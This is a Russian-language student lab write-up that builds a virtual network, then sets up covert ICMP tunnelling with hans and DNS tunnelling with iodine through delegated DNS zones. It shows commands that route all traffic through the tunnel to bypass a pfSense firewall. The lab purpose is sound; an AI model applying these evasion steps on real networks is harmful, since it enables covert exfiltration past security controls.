# Практика №7. Скрытое туннелирование ICMP, DNS ## Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать) Для работы был скачан образ pnet-lab не требующий импорта. Образ был успешно разархивирован и запущен в vmware. ![](https://i.imgur.com/PZdgk5n.jpg) Далее в редакторе была построена инфраструктура организации. - Kali Linux - Linux Kali 2022 (2CPU, 2GB RAM) x2 - DNS-server - winserver-16en (2CPU, 2GB RAM) x2 - pfSense - PfSense Firewall 2.6.0, default config (Qemu version 4.1.0, 2CPU, 2GB RAM, Primary Console VNC) - Switch - Cisco IOL-L2-ADVIPSERVICESK9 (2 port-groups) - Debian - Linux Debian 10 (1CPU, 1GB RAM) - Linux-vulnerable - Linux Debian 10 (1CPU, 1GB RAM) - Win-10 - Windows 10 (full) (2CPU, 2GB RAM) - Win-7 - Windows 7 (full) (QEMU 2.12, 4CPU, 4GB RAM) - Network: - Pfsense Default config (WAN-DHCP, LAN - static IP) - Internet - Cloud-1 - VLAN-10 - 172.16.10.0/24, GW 172.16.10.254 - VLAN-20 - 172.16.20.0/24, GW 172.16.20.254 ![](https://hackmd.io/_uploads/SykZHftB3.png) :::spoiler Switch config ``` version 15.2 service timestamps debug datetime msec service timestamps log datetime msec no service password-encryption service compress-config ! hostname Switch ! boot-start-marker boot-end-marker ! ! ! no aaa new-model ! ! ! ! ! ! ! ! ip cef no ipv6 cef ! ! ! spanning-tree mode pvst spanning-tree extend system-id ! vlan internal allocation policy ascending ! ! ! ! ! ! ! ! ! ! ! ! ! ! interface Ethernet0/0 description Debian switchport trunk encapsulation dot1q switchport mode trunk ! interface Ethernet0/1 description Linux-Vulnerable switchport mode access ! interface Ethernet0/2 description win-7 switchport access vlan 10 switchport mode access ! interface Ethernet0/3 description DNS-int switchport mode access ! interface Ethernet1/0 description win-10 switchport access vlan 20 switchport mode access ! interface Ethernet1/1 description Kali-int switchport mode access ! interface Ethernet1/2 ! interface Ethernet1/3 ! ip forward-protocol nd ! ! no ip http server no ip http secure-server ! ! ! ! ! control-plane ! ! line con 0 logging synchronous line aux 0 line vty 0 4 login ! ! end ``` ::: :::spoiler Настройка файервола ``` WAN (wan) -> vtnet0 -> v4/DHCP4: 192.168.19.163/24 LAN (lan) -> vtnet1 -> v4: 172.16.1.1/24 OPT1 (opt1) -> vtnet1.10 -> v4: 172.16.10.254/24 OPT2 (opt2) -> vtnet1.20 -> v4: 172.16.20.254/24 ``` Настроенные VLAN ![](https://i.imgur.com/KcDS8r7.jpg) На дефолт vlan ![](https://i.imgur.com/6b8Lkq4.jpg) На vlan10 ![](https://i.imgur.com/bfCFrDz.jpg) На vlan20 ![](https://i.imgur.com/Sl8MHkB.jpg) Настройка правил фаерволла для созданных vlan ![](https://i.imgur.com/ySuq2vJ.jpg) ![](https://i.imgur.com/RqxHEFM.jpg) ::: ## Настроить каждое устройство в соответсвии со следующими параметрами ### Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP pfSense выступает в роли DHCP сервера и выдает ip для машин. ### Настройка Kali Назначение статического ip, чтобы каждый раз не менять конфиги ![](https://hackmd.io/_uploads/By5TmGtBh.png) ### Win-7 ![](https://i.imgur.com/rrOIbwj.jpg) ### Win-10 ![](https://i.imgur.com/ajapyAk.jpg) ### Debian *dhclient, чтобы он запросил IP у DHCP сервера* `apt install bridge-utils` `nano /etc/network/interfaces` ![](https://i.imgur.com/UyBNl4P.jpg) После - ребутнуть либо через `systemctl restart networiking`, либо всю машину целиком ![](https://i.imgur.com/7B2Gq3H.jpg) *dhclient, чтобы он запросил IP у DHCP сервера* Для того, чтобы установить hans, необходимо предварительно скачать определенные пакеты: `apt install git` `apt install net-tools` `apt install g++` `apt install make` ### Linux-vulnerable *dhclient, чтобы он запросил IP у DHCP сервера* На этом устройстве будет показан пример простого DNS туннелирования. Поэтому, необходимо будет скачать iodine. `apt install iodine` ## ICMP Туннелирование Первым делом необходимо скачать и на Kali, и на Debian утилиту hans `https://github.com/friedrich/hans.git`. Потом - сбилдить ее с помощью команды `make`. Была попытка забрать на Debian сбилденный бинарник через `scp`, но она провалилась тк она явно билдится под конкретную систему с конкретными зависимостями :( ![](https://hackmd.io/_uploads/SJYbNRvSn.jpg) ![](https://hackmd.io/_uploads/S1mxtAPH2.jpg) ![](https://hackmd.io/_uploads/HJ1bF0wrn.jpg) ### Kali Поднимаем туннель на сервере с помощью комманды `./hans -s 10.8.2.0 -p 123`. Проверяем, что туннель поднялся. ![](https://hackmd.io/_uploads/ryFmKRwr3.jpg) ### Debian Поднимаем туннель на клиенте с помощью комманды `./hans -c 192.168.19.176 -p 123`. Проверяем, что туннель поднялся. ![](https://hackmd.io/_uploads/rJiF60Prh.jpg) ### Проверка Проверяем пинг до другого конца туннеля ![](https://hackmd.io/_uploads/rJM35RPHn.jpg) Подключаемся с Kali по ssh к Debian `ssh root@10.8.2.100` ![](https://hackmd.io/_uploads/rk1e00Prn.jpg) При попытке что либо написать в консоли кали, на Debian через tcpdump можно будет увидеть подозрительный трафик ![](https://hackmd.io/_uploads/SJlRRADH2.png) Обычный пинг для сравнения: ![](https://hackmd.io/_uploads/rJ87MJuB3.png) ## Простое DNS Туннелирование Первым делом необходимо скачать на Linux утилиту iodine. На Kali она уже предустановлена. ![](https://hackmd.io/_uploads/SyQkXJuB3.jpg) ### Kali Поднимаем туннель на сервере с помощью комманды `iodined 10.8.10.1/24 -c notaksuma.me -P 123`. Проверяем, что туннель поднялся. ![](https://hackmd.io/_uploads/S1tlX1dS3.jpg) ![](https://hackmd.io/_uploads/ByzZX1uSh.jpg) ### Linux Сначала необходимо изменить конфиг, чтобы дефолт DNS сервером была наша Kali `nano /etc/resolv.conf` ![](https://hackmd.io/_uploads/rJnkBk_H2.png) Подключаемся к туннелю на клиенте с помощью комманды `iodine notaksuma.me -P 123`. Проверяем, что туннель поднялся. ![](https://hackmd.io/_uploads/rJrBQ1dHh.jpg) ![](https://hackmd.io/_uploads/HJyF7kdBn.jpg) ### Проверка Проверяем пинг до другого конца туннеля ![](https://hackmd.io/_uploads/HyLHSy_H2.png) Подключаемся с Kali по ssh к Linux `ssh root@10.8.2.100` ![](https://hackmd.io/_uploads/SySIByOS2.jpg) ## Сложное DNS Туннелирование ### Настройка внешнего DNS-сервера Первым делом необходимо сменить имя сервера и его ip на `DNS-EXTERNAL` и `192.168.19.100`. Дефолт гейтвей можно посмотреть через `ipconfig`. Дефолт DNS был назначен гугловский `8.8.8.8`. Настроить ip можно через network connections, а имя - с панели сервера. ![](https://hackmd.io/_uploads/HyPg7kYSn.jpg) ![](https://hackmd.io/_uploads/r18b7JYH2.jpg) После внесения изменений, сервер будет необходимо перезагрузить. Затем необходимо поднять DNS сервер. Manage -> Add roles and features. Все настройки оставляем по дефолту, кроме панели Server Roles. Там ставим галочку напротив DNS сервера. Нажимаем добавить конфигурацию и ждем, когда оно настроится. ![](https://hackmd.io/_uploads/BJ0WE1FBh.jpg) Теперь настройка форвардеров. Заходим в Tools -> DNS -> ПКМ на DNS-EXTERNAL -> Properties -> Forwarders. Для внешнего серва настраиваем `8.8.8.8`. ![](https://hackmd.io/_uploads/rkSESkKS3.jpg) Проверяем, что наш серв может получать DNS ответы. Раз узнаем айпишник сайта, значит все ок. ![](https://hackmd.io/_uploads/HJiPByFH2.jpg) Время назначить наши зоны на этом серве. Заходим в Tools -> DNS -> ПКМ на Forward Lookup Zones -> New Zone. Добавляем зону, называем ее так, как нам нравится. Все остальные настройки по дефолту. ![](https://hackmd.io/_uploads/SycJ8kYS3.jpg) ![](https://hackmd.io/_uploads/ry1O8JKS3.jpg) Основная зона создана, теперь можно создать поддомены, с помощью которых мы потом будем перенаправлять трафик на внешнюю Kali. ПКМ на свободное место -> New Host. Сначала необходимо создать основной домен и назначить ему ip внешнего сервера т.е. `192.168.19.100`. ![](https://hackmd.io/_uploads/rJxzIJFB2.jpg) ![](https://hackmd.io/_uploads/B1qz_yFrn.jpg) Потом создаем поддомен с названием `delegate.cheesekeik.me` и назначаем ip внешней Kali `192.168.19.176`. ![](https://hackmd.io/_uploads/HkE6dyYB2.jpg) Потом нужно создать делегированную зону. ПКМ на cheesekeik.me -> New Delegation. Называем ее `tunnel.cheesekeik.me`. И указываем в качестве сервера внешнюю Kali с поддоменом `delegate.cheesekeik.me`. ![](https://hackmd.io/_uploads/Sy0aKyYS3.jpg) ![](https://hackmd.io/_uploads/B1BSY1tS2.jpg) ![](https://hackmd.io/_uploads/H1S8FkYr3.jpg) ### Настройка внутреннего DNS-сервера Первым делом необходимо сменить имя сервера и его ip на `DNS-INTERNAL` и `172.16.1.100`. Дефолт гейтвей можно посмотреть через `ipconfig`. Дефолт DNS был назначен свой собственный `127.0.0.1`. Настроить ip можно через network connections, а имя - с панели сервера. ![](https://hackmd.io/_uploads/ry3O51FH3.jpg) ![](https://hackmd.io/_uploads/B1_591YBh.jpg) После внесения изменений, сервер будет необходимо перезагрузить. Затем необходимо поднять DNS сервер. Manage -> Add roles and features. Все настройки оставляем по дефолту, кроме панели Server Roles. Там ставим галочку напротив DNS сервера. Нажимаем добавить конфигурацию и ждем, когда оно настроится. ![](https://hackmd.io/_uploads/BJ0WE1FBh.jpg) Теперь настройка форвардеров. Заходим в Tools -> DNS -> ПКМ на DNS-INTERNAL -> Properties -> Forwarders. Для внутреннего серва настраиваем `192.168.19.100`. То есть ip внешнего сервера. ![](https://hackmd.io/_uploads/BJfh9JKHh.jpg) Проверяем, что наш серв может получать DNS ответы. Раз узнаем айпишник сайта, значит все ок. ![](https://hackmd.io/_uploads/SJ8kjyFH3.jpg) ### Настройка внутренней Kali Для чистоты эксперимента, нужно сначала зайти на файервол и добавить правило, которое запрещало любой трафик, кроме DNS. Firewall -> Rules -> LAN. Протокол - UDP, источник - единственный адрес, внутренний DNS сервер `172.16.1.100`, назначение - 53 порт. ![](https://hackmd.io/_uploads/SJxOqWtS2.jpg) Затем нужно поменять в `nano /etc/resolv.conf` дефолт DNS сервер, поставить внутренний DNS сервер `172.16.1.100`. ![](https://hackmd.io/_uploads/r1EcnZKHh.jpg) Проверяем, что даже пинги не работают, а DNS работает. ![](https://hackmd.io/_uploads/SJ1a2bKB2.jpg) После настройки внешнего и внутреннего сервера проверяем, что мы можем получить ответ от внешнего сервера, обратившись к нашим созданным доменам. ![](https://hackmd.io/_uploads/B1mt6WYHh.jpg) ![](https://hackmd.io/_uploads/SyFKTZFr2.jpg) ### Настройка туннеля Поднимаем сервер на внешней Kali `iodined 10.8.100.1/24 -c tunnel.cheesekeik.me -P 123`. Проверяем, что туннель поднялся. ![](https://hackmd.io/_uploads/rkdrC-Kr3.jpg) ![](https://hackmd.io/_uploads/SyEL0ZFBn.jpg) Подключаемся к серверу на внутренней Kali `iodine tunnel.cheesekeik.me -P 123`. Проверяем, что туннель поднялся. ![](https://hackmd.io/_uploads/r1SoRbFHn.jpg) ![](https://hackmd.io/_uploads/r1psA-FH2.jpg) Пингуем с внутренней Kali другой конец туннеля. Пинг идет. Ура, туннель работает, файервол обходится. ![](https://hackmd.io/_uploads/BkWt1MYH2.jpg) Но это еще не все. Теперь нужно получить доступ во вне. Настраиваем маршрутизацию. Заставляем трафик идти не через файервол, а через туннель. `ip route delete default` `ip route add default via 10.8.100.1` ![](https://hackmd.io/_uploads/r18AkMYHh.jpg) На внешней Kali настраиваем маршрутизацию трафика между интерфейсами `iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE` `nano /etc/sysctl.conf` раскомментить строку net.ipv4.ip_forward = 1 ![](https://hackmd.io/_uploads/SkE8xMtrh.jpg) ### Проверка Пробуем с внутренней Kali выйти в интернет и пропинговать что-нибудь. Работает, ура, победа. ![](https://hackmd.io/_uploads/ByXN-GYH3.jpg) Также, если на Debian проверить идущие пакеты через tcpdump, то можно увидеть, что трафик идет именно через DNS благодаря подмене доменов. ![](https://hackmd.io/_uploads/HyBK-GFrn.jpg)